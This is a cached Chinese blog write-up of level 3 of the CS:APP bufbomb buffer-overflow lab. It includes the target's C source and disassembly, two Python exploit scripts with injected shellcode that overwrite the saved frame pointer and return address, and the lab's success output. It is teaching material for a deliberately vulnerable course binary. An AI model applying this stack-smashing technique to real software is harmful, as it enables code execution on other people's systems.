csapp lab3 bufbomb (level 3)
原文链接 http://woodrat.xyz/2014/12/03/csapp-lab3-bufbomb-level-3/
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。
dynamite关卡和之前的不同,之前是要求跳转到其他地方执行,而这一关则是返回test函数继续执行.
test源码如下
void test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly / val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); / Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }
可以看到,上一关bang时,是验证一个全局变量是否和cookie相等.
而test函数中,判断getbuf的返回值val是否和cookie相等.
test函数验证了local变量,而loacl为volatile型,在调用其他函数时能被修改
test函数反汇编如下
08048c7f <test>: 8048c7f: 55 push %ebp 8048c80: 89 e5 mov %esp,%ebp 8048c82: 53 push %ebx 8048c83: 83 ec 24 sub $0x24,%esp 8048c86: e8 a5 fe ff ff call 8048b30 <uniqueval> 8048c8b: 89 45 f4 mov %eax,-0xc(%ebp) 8048c8e: e8 71 ff ff ff call 8048c04 <getbuf> 8048c93: 89 c3 mov %eax,%ebx 8048c95: e8 96 fe ff ff call 8048b30 <uniqueval> 8048c9a: 8b 55 f4 mov -0xc(%ebp),%edx 8048c9d: 39 d0 cmp %edx,%eax 8048c9f: 74 0e je 8048caf <test+0x30> 8048ca1: c7 04 24 a8 a0 04 08 movl $0x804a0a8,(%esp) 8048ca8: e8 93 fc ff ff call 8048940 <puts@plt> 8048cad: eb 36 jmp 8048ce5 <test+0x66> 8048caf: 3b 1d e4 c1 04 08 cmp 0x804c1e4,%ebx 8048cb5: 75 1e jne 8048cd5 <test+0x56> 8048cb7: 89 5c 24 04 mov %ebx,0x4(%esp) 8048cbb: c7 04 24 13 9f 04 08 movl $0x8049f13,(%esp) 8048cc2: e8 19 fc ff ff call 80488e0 <printf@plt> 8048cc7: c7 04 24 03 00 00 00 movl $0x3,(%esp) 8048cce: e8 11 04 00 00 call 80490e4 <validate> 8048cd3: eb 10 jmp 8048ce5 <test+0x66> 8048cd5: 89 5c 24 04 mov %ebx,0x4(%esp) 8048cd9: c7 04 24 30 9f 04 08 movl $0x8049f30,(%esp) 8048ce0: e8 fb fb ff ff call 80488e0 <printf@plt> 8048ce5: 83 c4 24 add $0x24,%esp 8048ce8: 5b pop %ebx 8048ce9: 5d pop %ebp 8048cea: c3 ret
可以看到getbuf之后的语句为0x8048c93. 返回值应该保存到%eax中. 简单的想法.于是利用上一关的代码稍加修改得到代码exploit4.py如下
shellcode = '\xb8\xa5\x8d\xa2\x70'+'\xc3'
mov $0x70a28da5,%eax
ret
shellcode= shellcode + (40 - len(shellcode))*'a' shellcode = shellcode +'\x20\x37\x68\x55' + '\xc8\x36\x68\x55'+'\x93\x8c\x04\x08'
saved %ebp
ret buf
ret getbuf next
print shellcode
cookie :0x70a28da5
buf 0x556836c8
test #0x08048c7f
#getbuf next 08048c93
local 0xdeadbeef
但是执行的结果为
$ ./bufbomb -u 123 < dynamite.txt
Userid: 123 Cookie: 0x70a28da5 Type string:Boom!: getbuf returned 0x70a28da5 VALID NICE JOB! Ouch!: You caused a segmentation fault! Better luck next time
个人理解为,因为使用两次ret会导致 段错误...所以改进后的方法如下.
exploit4.py
shellcode = '\xb8\xa5\x8d\xa2\x70'+'\x68\x93\x8c\x04\x08'+'\xc3'
mov $0x70a28da5,%eax
push $0x08048c93
ret
shellcode= shellcode + (40 - len(shellcode))*'a' shellcode = shellcode + '\x20\x37\x68\x55' + '\xc8\x36\x68\x55'
saved %ebp
ret buf
print shellcode
cookie :0x70a28da5
buf 0x556836c8
test #0x08048c7f
getbuf next 08048c93
local 0xdeadbeef
push返回地址后ret而不是直接ret,在后面覆盖地址.结果没有segmentation fault
$ python exploit4.py >dynamite.txt $ ./bufbomb -u 123 < dynamite.txt Userid: 123 Cookie: 0x70a28da5 Type string:Boom!: getbuf returned 0x70a28da5 VALID NICE JOB!